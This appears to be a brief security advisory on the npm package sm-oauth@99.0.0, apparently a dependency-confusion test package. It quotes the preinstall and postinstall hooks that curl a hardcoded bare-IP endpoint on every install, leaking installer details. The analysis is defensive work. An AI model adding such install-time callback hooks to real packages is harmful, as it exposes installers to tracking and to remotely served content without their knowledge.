sm-oauth@99.0.0

package.json declares preinstall and postinstall scripts that run `curl -s http://16.192.173.5/sm-oauth/pre` and `curl -s http://16.192.173.5/sm-oauth/post` on every `npm install`. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.